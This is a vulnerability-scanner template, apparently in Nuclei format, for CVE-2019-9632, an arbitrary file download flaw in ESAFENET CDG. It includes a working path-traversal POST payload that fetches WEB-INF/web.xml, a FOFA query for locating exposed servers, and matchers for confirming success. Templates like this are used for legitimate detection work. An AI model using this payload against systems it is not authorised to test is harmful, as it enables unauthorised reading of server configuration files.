漏洞描述
ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.
id: CVE-2019-9632
info:
name: ESAFENET CDG - Arbitrary File Download
author: pdteam
severity: high
description: |
ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.
reference:
- https://github.com/HimmelAward/Goby_POC
- https://github.com/Z0fhack/Goby_POC
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-9632
epss-score: 0.591
epss-percentile: 0.98172
cpe: cpe:2.3:a:esafenet:electronic_document_security_management_system:v3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: esafenet
product: "electronic_document_security_management_system"
fofa-query: "title=\"电子文档安全管理系统\""
tags: cve,cve2019,esafenet,lfi
http:
- method: POST
path:
- "{{BaseURL}}/CDGServer3/ClientAjax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<servlet-name>CDGPermissions</servlet-name>"
# digest: 4b0a00483046022100fa9e44b2c08ede54c71393d02e11fa78ea1c666c189399b18eda307f4f6674d3022100f01db9c85baa9d50cbd8ef876c6d2c901a08653fd9924d6c26cd4f8513ef7423:922c64590222798bb761d5b6d8e72950